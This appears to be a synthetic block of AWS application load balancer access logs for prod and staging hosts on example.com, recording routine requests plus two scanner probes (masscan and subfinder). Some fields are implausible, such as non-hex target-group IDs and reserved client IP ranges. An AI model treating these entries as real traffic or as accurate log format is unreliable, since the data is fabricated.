"Root=1-6723db6a-e4d6d37b2d0e4959a246af7a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:32:58.552114Z "forward" "-" "-" "10.0.217.37:443" "200" "-" "-" -https 2024-11-01T02:32:59.282290Z prod-web-alb 84.95.91.217:15010 10.0.67.157:443 0.076331 0.256668 0.024764 200 200 873 10372 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db6b-e374f4faceb040d791b3d984" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:59.282290Z "forward" "-" "-" "10.0.67.157:443" "200" "-" "-" -http 2024-11-01T02:33:00.650602Z staging-alb 172.162.27.242:20012 88.157.129.18:80 0.145788 0.479390 0.092606 200 200 198 5349 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db6c-1c39854ed26547219eec9ac3" "staging-alb.example.com" "-" 8 2024-11-01T02:33:00.650602Z "forward" "-" "-" "88.157.129.18:80" "200" "-" "-" -http 2024-11-01T02:33:01.700617Z staging-alb 11.159.216.65:61507 212.74.157.46:443 0.104381 0.580600 0.130728 404 404 129 7501 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db6d-544d50026bb14cf883a7da14" "staging-alb.example.com" "-" 10 2024-11-01T02:33:01.700617Z "forward" "-" "-" "212.74.157.46:443" "404" "-" "-" -https 2024-11-01T02:33:02.132295Z prod-api-alb 252.121.61.181:16557 10.0.127.10:443 0.058562 0.470805 0.046972 404 404 227 5825 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db6e-47d9307c1a8a470c8e808d95" "prod-api-alb.example.com" "-" 7 2024-11-01T02:33:02.132295Z "forward" "-" "-" "10.0.127.10:443" "404" "-" "-" -https 2024-11-01T02:33:02.448244Z prod-api-alb 127.188.38.132:55708 10.0.74.39:443 0.042258 0.137225 0.025588 302 302 56 5924 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db6e-d850f9fd760c40589c73619d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:33:02.448244Z "forward" "-" "-" "10.0.74.39:443" "302" "-" "-" -https 2024-11-01T02:33:04.095140Z staging-alb 135.52.198.195:63949 154.161.171.165:443 0.042887 0.402486 0.135749 404 404 200 1585 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db70-04dbf4f4085e427892ebd321" "staging-alb.example.com" "-" 7 2024-11-01T02:33:04.095140Z "forward" "-" "-" "154.161.171.165:443" "404" "-" "-" -https 2024-11-01T02:33:04.304097Z prod-api-alb 67.15.220.42:55118 10.0.184.159:443 0.094900 0.228595 0.001590 200 200 927 9864 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db70-ea12719b7222437b8aa4874c" "prod-api-alb.example.com" "-" 6 2024-11-01T02:33:04.304097Z "forward" "-" "-" "10.0.184.159:443" "200" "-" "-" -https 2024-11-01T02:33:06.060225Z prod-web-alb 174.44.227.32:47288 10.0.137.114:443 0.055872 0.403627 0.044506 200 200 737 11463 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db72-0389960d8c5d4f6d9ff86426" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:06.060225Z "forward" "-" "-" "10.0.137.114:443" "200" "-" "-" -https 2024-11-01T02:33:07.046666Z prod-web-alb 95.142.110.14:45537 10.0.108.164:443 0.025422 0.475606 0.030218 302 302 300 5372 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db73-7b41a7091453411d9bea4ee1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:07.046666Z "forward" "-" "-" "10.0.108.164:443" "302" "-" "-" -https 2024-11-01T02:33:07.218614Z prod-web-alb 148.219.84.213:29273 10.0.164.141:443 0.051544 0.119925 0.084698 200 200 660 10881 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db73-eee6b64872db4ef3af01c00a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:07.218614Z "forward" "-" "-" "10.0.164.141:443" "200" "-" "-" -http 2024-11-01T02:33:08.987878Z staging-alb 78.64.44.8:14322 14.107.120.9:8080 0.076003 0.710326 0.147297 200 200 300 8381 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db74-6b46ef88e95b46e38d3dd7d5" "staging-alb.example.com" "-" 1 2024-11-01T02:33:08.987878Z "forward" "-" "-" "14.107.120.9:8080" "200" "-" "-" -https 2024-11-01T02:33:09.790269Z prod-web-alb 178.143.13.100:26126 10.0.106.122:443 0.054492 0.234922 0.019730 301 301 24 11495 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db75-f311adca368f4f4c8322f489" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:09.790269Z "forward" "-" "-" "10.0.106.122:443" "301" "-" "-" -https 2024-11-01T02:33:10.282895Z prod-api-alb 151.91.201.245:48551 10.0.120.65:443 0.058859 0.301171 0.056284 302 302 963 1894 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db76-e9062ad6f44049cc97c2104b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:33:10.282895Z "forward" "-" "-" "10.0.120.65:443" "302" "-" "-" -https 2024-11-01T02:33:12.153078Z staging-alb 223.213.161.116:47646 90.226.43.62:80 0.130524 0.402079 0.149781 200 200 504 14894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db78-13a34ccca4994eb3935fb3ce" "staging-alb.example.com" "-" 4 2024-11-01T02:33:12.153078Z "forward" "-" "-" "90.226.43.62:80" "200" "-" "-" -https 2024-11-01T02:33:13.550720Z prod-web-alb 195.198.164.6:23963 10.0.72.248:443 0.098765 0.295275 0.054467 200 200 318 2111 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db79-85e610a0b96f42d887383ab2" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:13.550720Z "forward" "-" "-" "10.0.72.248:443" "200" "-" "-" -https 2024-11-01T02:33:15.157682Z prod-web-alb 38.255.73.251:14354 10.0.170.211:443 0.010415 0.152967 0.015212 301 301 329 2953 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db7b-46674e5cddb54dd499305bd5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:15.157682Z "forward" "-" "-" "10.0.170.211:443" "301" "-" "-" -https 2024-11-01T02:33:15.280547Z prod-web-alb 179.138.36.218:30818 10.0.162.117:443 0.007895 0.270547 0.005090 200 200 492 3844 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db7b-8b025dd47b24446c908752cb" "prod-web-alb.example.com" "-" 4 2024-11-01T02:33:15.280547Z "forward" "-" "-" "10.0.162.117:443" "200" "-" "-" -https 2024-11-01T02:33:16.004483Z prod-web-alb 47.0.171.216:33439 10.0.59.15:443 0.043313 0.264918 0.084761 404 404 937 1956 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db7c-505100859b724ee09f3c28ea" "prod-web-alb.example.com" "-" 4 2024-11-01T02:33:16.004483Z "forward" "-" "-" "10.0.59.15:443" "404" "-" "-" -https 2024-11-01T02:33:16.130361Z prod-api-alb 12.80.214.128:53490 10.0.22.58:443 0.014218 0.060681 0.059172 200 200 493 11069 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7c-ea714cdf289a4a7aab1bcddd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:16.130361Z "forward" "-" "-" "10.0.22.58:443" "200" "-" "-" -http 2024-11-01T02:33:17.268632Z staging-alb 184.151.52.165:12465 162.145.37.227:443 0.136467 0.305556 0.111306 302 302 383 7113 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db7d-839e1c9a19e142c0b77afb15" "staging-alb.example.com" "-" 0 2024-11-01T02:33:17.268632Z "forward" "-" "-" "162.145.37.227:443" "302" "-" "-" -http 2024-11-01T02:33:17.704566Z staging-alb 77.173.17.231:60389 99.106.22.83:8080 0.140283 0.009218 0.008527 200 200 767 13336 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db7d-f1e436865999480db5c031e6" "-" "-" 0 2024-11-01T02:33:17.704566Z "forward" "-" "-" "99.106.22.83:8080" "200" "-" "-" -https 2024-11-01T02:33:18.088748Z prod-api-alb 145.170.66.181:42057 10.0.7.84:443 0.008345 0.075693 0.041194 302 302 839 13423 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7e-686b6eaaa9144ff590dc778e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:18.088748Z "forward" "-" "-" "10.0.7.84:443" "302" "-" "-" -https 2024-11-01T02:33:19.112150Z prod-api-alb 45.101.81.179:33602 10.0.6.227:443 0.029877 0.493741 0.058383 200 200 683 7500 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7f-afad59cf28ed4a6083b269bb" "prod-api-alb.example.com" "-" 10 2024-11-01T02:33:19.112150Z "forward" "-" "-" "10.0.6.227:443" "200" "-" "-" -https 2024-11-01T02:33:20.563133Z prod-web-alb 185.181.214.83:20067 10.0.88.210:443 0.091445 0.255382 0.038544 401 401 998 4090 "POST /config.php~ HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db80-91621ab22c664fcea47b3db3" "-" "-" 3 2024-11-01T02:33:20.563133Z "forward" "-" "-" "10.0.88.210:443" "401" "-" "-" -http 2024-11-01T02:33:21.442981Z staging-alb 2.255.214.155:42252 110.208.212.167:8080 0.136646 0.490584 0.073516 404 404 308 2084 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db81-f265bce75b424a62984ec2d3" "staging-alb.example.com" "-" 9 2024-11-01T02:33:21.442981Z "forward" "-" "-" "110.208.212.167:8080" "404" "-" "-" -https 2024-11-01T02:33:21.843116Z prod-api-alb 3.104.97.117:31863 10.0.48.204:443 0.069229 0.128138 0.030726 200 200 754 7303 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db81-e964e26f3a984df6b2aba1c9" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:21.843116Z "forward" "-" "-" "10.0.48.204:443" "200" "-" "-" -http 2024-11-01T02:33:23.133747Z staging-alb 13.108.111.211:57948 92.29.5.174:80 0.059969 0.018065 0.043564 301 301 354 1451 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db83-1215343b57b64140bbc24641" "staging-alb.example.com" "-" 10 2024-11-01T02:33:23.133747Z "forward" "-" "-" "92.29.5.174:80" "301" "-" "-" -https 2024-11-01T02:33:24.479497Z prod-api-alb 67.6.137.48:44099 10.0.33.116:443 0.038574 0.133509 0.092104 200 200 659 4369 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db84-a302749cffee4057b9ecb363" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:24.479497Z "forward" "-" "-" "10.0.33.116:443" "200" "-" "-" -https 2024-11-01T02:33:25.435277Z prod-api-alb 169.51.107.124:29107 10.0.224.93:443 0.077621 0.312347 0.039935 302 302 511 4846 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db85-25ed2132f07143f9ae6c88d7" "prod-api-alb.example.com" "-" 3 2024-11-01T02:33:25.435277Z "forward" "-" "-" "10.0.224.93:443" "302" "-" "-" -https 2024-11-01T02:33:26.928134Z prod-web-alb 181.8.123.175:62213 10.0.96.87:443 0.014101 0.443027 0.032651 404 404 275 5232 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db86-f4cb677a3c5d4d77833f8155" "prod-web-alb.example.com" "-" 5 2024-11-01T02:33:26.928134Z "forward" "-" "-" "10.0.96.87:443" "404" "-" "-" -https 2024-11-01T02:33:27.312312Z prod-api-alb 158.236.30.247:41691 10.0.89.30:443 0.028217 0.061971 0.068078 301 301 873 8567 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db87-0e4aecc13f664a3fa2eddf98" "prod-api-alb.example.com" "-" 10 2024-11-01T02:33:27.312312Z "forward" "-" "-" "10.0.89.30:443" "301" "-" "-" -http 2024-11-01T02:33:27.453600Z staging-alb 185.181.6.37:61548 177.250.8.68:80 0.104706 0.137998 0.111383 301 301 533 13525 "POST /wp-admin HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db87-f5040e0a744a418a983d8fa1" "-" "-" 10 2024-11-01T02:33:27.453600Z "forward" "-" "-" "177.250.8.68:80" "301" "-" "-" -https 2024-11-01T02:33:29.438820Z prod-web-alb 110.253.61.30:23317 10.0.46.232:443 0.059298 0.136170 0.096552 200 200 776 8311 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db89-02d494a2ef8d41b29d69e24e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:29.438820Z "forward" "-" "-" "10.0.46.232:443" "200" "-" "-" -https 2024-11-01T02:33:30.886387Z prod-api-alb 136.49.11.131:43521 10.0.196.71:443 0.061839 0.269692 0.025959 200 200 208 14585 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db8a-47b40bdd60ed4296a2ba95e0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:30.886387Z "forward" "-" "-" "10.0.196.71:443" "200" "-" "-" -https 2024-11-01T02:33:32.515018Z prod-api-alb 122.217.88.180:18437 10.0.146.76:443 0.077001 0.063115 0.042328 200 200 565 8238 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db8c-32b0b5573e4342439a94fc3c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:33:32.515018Z "forward" "-" "-" "10.0.146.76:443" "200" "-" "-" -https 2024-11-01T02:33:33.113055Z staging-alb 94.24.212.108:51613 61.188.136.203:80 0.102926 0.561889 0.107566 200 200 699 2922 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db8d-da3ab33a37604a058885f10c" "staging-alb.example.com" "-" 4 2024-11-01T02:33:33.113055Z "forward" "-" "-" "61.188.136.203:80" "200" "-" "-" -https 2024-11-01T02:33:34.743172Z prod-api-alb 243.100.7.209:41682 10.0.42.200:443 0.084680 0.102036 0.023588 200 200 817 6818 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db8e-46b7b736d7c24d468662ca79" "prod-api-alb.example.com" "-" 5 2024-11-01T02:33:34.743172Z "forward" "-" "-" "10.0.42.200:443" "200" "-" "-" -https 2024-11-01T02:33:35.324846Z prod-api-alb 201.209.53.160:21385 10.0.107.240:443 0.019411 0.326294 0.025637 404 404 418 3435 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db8f-8aaaaaed8f9f44549545647d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:35.324846Z "forward" "-" "-" "10.0.107.240:443" "404" "-" "-" -https 2024-11-01T02:33:36.607841Z prod-web-alb 199.130.48.210:46548 10.0.86.73:443 0.067554 0.069821 0.069404 200 200 705 11454 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db90-97e3d5197ca047348346f9a6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:36.607841Z "forward" "-" "-" "10.0.86.73:443" "200" "-" "-" -https 2024-11-01T02:33:38.345051Z staging-alb 45.197.31.87:40338 247.40.100.59:443 0.099704 0.597637 0.127294 301 301 523 9356 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db92-114937855d0f4e8199edc055" "staging-alb.example.com" "-" 10 2024-11-01T02:33:38.345051Z "forward" "-" "-" "247.40.100.59:443" "301" "-" "-" -https 2024-11-01T02:33:39.999915Z staging-alb 246.170.103.166:27755 214.115.10.106:8080 0.100661 0.546444 0.035239 301 301 401 7746 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db93-0f47dde3b96c43118d260bcd" "staging-alb.example.com" "-" 9 2024-11-01T02:33:39.999915Z "forward" "-" "-" "214.115.10.106:8080" "301" "-" "-" -https 2024-11-01T02:33:41.185671Z prod-api-alb 131.130.206.52:18160 10.0.191.53:443 0.071138 0.489814 0.031210 302 302 143 10172 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db95-0bb48d3c598d45ef924ae1ed" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:41.185671Z "forward" "-" "-" "10.0.191.53:443" "302" "-" "-" -https 2024-11-01T02:33:41.732551Z prod-api-alb 117.185.101.95:14906 10.0.57.252:443 0.092140 0.445258 0.071465 301 301 52 11949 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db95-00c84886010745a9a86f0c0e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:41.732551Z "forward" "-" "-" "10.0.57.252:443" "301" "-" "-" -https 2024-11-01T02:33:43.327399Z prod-web-alb 76.211.40.87:55974 10.0.13.45:443 0.068419 0.068627 0.072763 200 200 860 8111 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db97-83fbf9379207471c84fdfa58" "prod-web-alb.example.com" "-" 5 2024-11-01T02:33:43.327399Z "forward" "-" "-" "10.0.13.45:443" "200" "-" "-" -https 2024-11-01T02:33:43.456108Z prod-api-alb 80.61.208.157:10183 10.0.131.212:443 0.081930 0.343170 0.000122 200 200 678 5191 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db97-1ba5fe1abf3e48dfa30eba09" "prod-api-alb.example.com" "-" 7 2024-11-01T02:33:43.456108Z "forward" "-" "-" "10.0.131.212:443" "200" "-" "-" -https 2024-11-01T02:33:44.071195Z prod-web-alb 64.143.124.21:38689 10.0.195.149:443 0.083232 0.338637 0.075116 200 200 262 7886 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db98-0415109ea6cf46ad867e818a" "prod-web-alb.example.com" "-" 1 2024-11-01T02:33:44.071195Z "forward" "-" "-" "10.0.195.149:443" "200" "-" "-" -https 2024-11-01T02:33:44.288813Z staging-alb 184.200.251.172:60003 163.226.197.253:8080 0.034418 0.349823 0.078908 200 200 907 11529 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db98-f7dcc3b44e0148e283ac6ac0" "staging-alb.example.com" "-" 2 2024-11-01T02:33:44.288813Z "forward" "-" "-" "163.226.197.253:8080" "200" "-" "-" -http 2024-11-01T02:33:45.378506Z staging-alb 228.161.186.150:22601 6.233.84.205:8080 0.040083 0.673870 0.022063 200 200 345 2130 "GET /web/test HTTP/1.1" "curl/7.64.1" 